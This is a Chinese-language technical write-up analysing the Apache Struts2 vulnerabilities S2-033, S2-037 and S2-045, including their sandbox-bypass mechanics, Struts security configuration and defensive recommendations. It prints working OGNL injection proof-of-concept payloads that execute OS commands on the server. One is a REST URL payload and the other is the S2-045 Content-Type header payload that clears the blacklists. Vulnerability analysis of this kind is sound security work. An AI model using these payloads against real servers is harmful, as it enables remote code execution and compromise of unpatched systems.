浅谈struts2漏洞防护与绕过-中
字数 1657 2025-08-27 12:33:37

Struts2漏洞分析与防护绕过技术详解

1. S2-033与S2-037漏洞分析

1.1 漏洞背景与区别

S2-033和S2-037是Struts2框架中的两个重要漏洞:

  • S2-033:需要allowDynamicMethodCalls设置为TRUE才能利用
  • S2-037:不需要allowDynamicMethodCalls设置,直接可利用

这两个漏洞的产生点相似,主要区别在于动态方法调用的配置要求。

1.2 REST相关背景

漏洞涉及REST风格的API设计:

  1. REST描述的是client和server在网络中的交互形式
  2. 实用的RESTful API设计中,URL只使用名词指定资源,原则上不使用动词
  3. "资源"是REST架构的核心处理对象

1.3 漏洞利用POC

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#xx=123,
#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),
#wr=#context[#parameters.obj[0]].getWriter(),
#wr.print(#rs),
#wr.close(),
#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

1.4 漏洞触发点分析

漏洞位于RestActionMapper.class中的getMapping方法:

public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
    ActionMapping mapping = new ActionMapping();
    String uri = RequestUtils.getUri(request);
    uri = this.dropExtension(uri, mapping);
    if (uri == null) {
        return null;
    } else {
        this.parseNameAndNamespace(uri, mapping, configManager);
        this.handleSpecialParameters(request, mapping);
        if (mapping.getName() == null) {
            return null;
        } else {
            this.handleDynamicMethodInvocation(mapping, mapping.getName());

关键点:

  1. handleDynamicMethodInvocation方法没有任何过滤
  2. allowDynamicMethodCalls=True时,payload会被设置为method
  3. S2-037不需要allowDynamicMethodCalls限制,直接设置method

2. Struts2安全防护机制

2.1 安全配置参数

从Struts 2.3.20开始,配置文件新增了安全参数:

<constant name="struts.excludedClasses" 
          value="java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, ognl.OgnlContext, ognl.MemberAccess, ognl.ClassResolver, ognl.TypeConverter, com.opensymphony.xwork2.ActionContext"/>

<constant name="struts.excludedPackageNamePatterns" 
          value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\"/>

这些配置用于:

  1. 严格验证并排除不安全对象类型
  2. 过滤struts标签中的静态方法调用

3. 沙箱绕过技术

3.1 S2-033沙箱绕过原理

POC中通过覆盖_memberAccess来绕过限制:

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS

关键点:

  1. 使用DEFAULT_MEMBER_ACCESS覆盖SecurityMemberAccess
  2. DEFAULT_MEMBER_ACCESSSecurityMemberAccess的父类实例
  3. SecurityMemberAccess类实现了许多安全操作,覆盖后这些限制被解除

3.2 参数获取方式

POC中使用#parameters获取参数的原因:

  1. 引号在传递中会被转义,导致OGNL语法错误
  2. 使用#parameters可以避免这个问题

Struts2中的变量作用域:

  • Application:应用作用域变量
  • Session:会话作用域变量
  • Root/value stack:存储所有action变量
  • Request:请求作用域变量
  • Parameters:请求参数
  • Attributes:存储在page、request、session和application作用域中的属性

4. S2-045漏洞分析

4.1 漏洞原理

S2-045漏洞主要特点:

  1. 在上传时使用Jakarta进行解析
  2. 当content-type错误时会进入异常处理流程
  3. 异常处理过程中注入OGNL表达式

4.2 漏洞利用POC

Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=96954656263154098574003468

4.3 防护机制与绕过

Struts2在2.3.30+/2.5.2+版本中的防护改进:

  1. MemberAccessDefaultMemberAccess加入黑名单
  2. 使用set存储黑名单类

绕过方法:

  1. 利用container获取ognlUtil实例
  2. 使用clear()方法清除黑名单set
  3. 使用setMemberAccess覆盖访问控制
  4. 关键点在于使用getInstance()进行单例实例化

5. 防御建议

  1. 及时升级到最新Struts2版本
  2. 严格限制动态方法调用(allowDynamicMethodCalls)
  3. 完善struts.excludedClassesstruts.excludedPackageNamePatterns配置
  4. 对用户输入进行严格过滤和验证
  5. 禁用不必要的Struts2插件
  6. 监控异常content-type请求

6. 参考资源

  1. Struts2安全防护与绕过分析
  2. Struts2值栈与OGNL
  3. Struts2漏洞深度分析
Struts2漏洞分析与防护绕过技术详解 1. S2-033与S2-037漏洞分析 1.1 漏洞背景与区别 S2-033和S2-037是Struts2框架中的两个重要漏洞: S2-033 :需要 allowDynamicMethodCalls 设置为TRUE才能利用 S2-037 :不需要 allowDynamicMethodCalls 设置,直接可利用 这两个漏洞的产生点相似,主要区别在于动态方法调用的配置要求。 1.2 REST相关背景 漏洞涉及REST风格的API设计: REST描述的是client和server在网络中的交互形式 实用的RESTful API设计中,URL只使用名词指定资源,原则上不使用动词 "资源"是REST架构的核心处理对象 1.3 漏洞利用POC 1.4 漏洞触发点分析 漏洞位于 RestActionMapper.class 中的 getMapping 方法: 关键点: handleDynamicMethodInvocation 方法没有任何过滤 当 allowDynamicMethodCalls=True 时,payload会被设置为method S2-037不需要 allowDynamicMethodCalls 限制,直接设置method 2. Struts2安全防护机制 2.1 安全配置参数 从Struts 2.3.20开始,配置文件新增了安全参数: 这些配置用于: 严格验证并排除不安全对象类型 过滤struts标签中的静态方法调用 3. 沙箱绕过技术 3.1 S2-033沙箱绕过原理 POC中通过覆盖 _memberAccess 来绕过限制: 关键点: 使用 DEFAULT_MEMBER_ACCESS 覆盖 SecurityMemberAccess DEFAULT_MEMBER_ACCESS 是 SecurityMemberAccess 的父类实例 SecurityMemberAccess 类实现了许多安全操作,覆盖后这些限制被解除 3.2 参数获取方式 POC中使用 #parameters 获取参数的原因: 引号在传递中会被转义,导致OGNL语法错误 使用 #parameters 可以避免这个问题 Struts2中的变量作用域: Application:应用作用域变量 Session:会话作用域变量 Root/value stack:存储所有action变量 Request:请求作用域变量 Parameters:请求参数 Attributes:存储在page、request、session和application作用域中的属性 4. S2-045漏洞分析 4.1 漏洞原理 S2-045漏洞主要特点: 在上传时使用Jakarta进行解析 当content-type错误时会进入异常处理流程 异常处理过程中注入OGNL表达式 4.2 漏洞利用POC 4.3 防护机制与绕过 Struts2在2.3.30+/2.5.2+版本中的防护改进: 将 MemberAccess 和 DefaultMemberAccess 加入黑名单 使用set存储黑名单类 绕过方法: 利用 container 获取 ognlUtil 实例 使用 clear() 方法清除黑名单set 使用 setMemberAccess 覆盖访问控制 关键点在于使用 getInstance() 进行单例实例化 5. 防御建议 及时升级到最新Struts2版本 严格限制动态方法调用( allowDynamicMethodCalls ) 完善 struts.excludedClasses 和 struts.excludedPackageNamePatterns 配置 对用户输入进行严格过滤和验证 禁用不必要的Struts2插件 监控异常content-type请求 6. 参考资源 Struts2安全防护与绕过分析 Struts2值栈与OGNL Struts2漏洞深度分析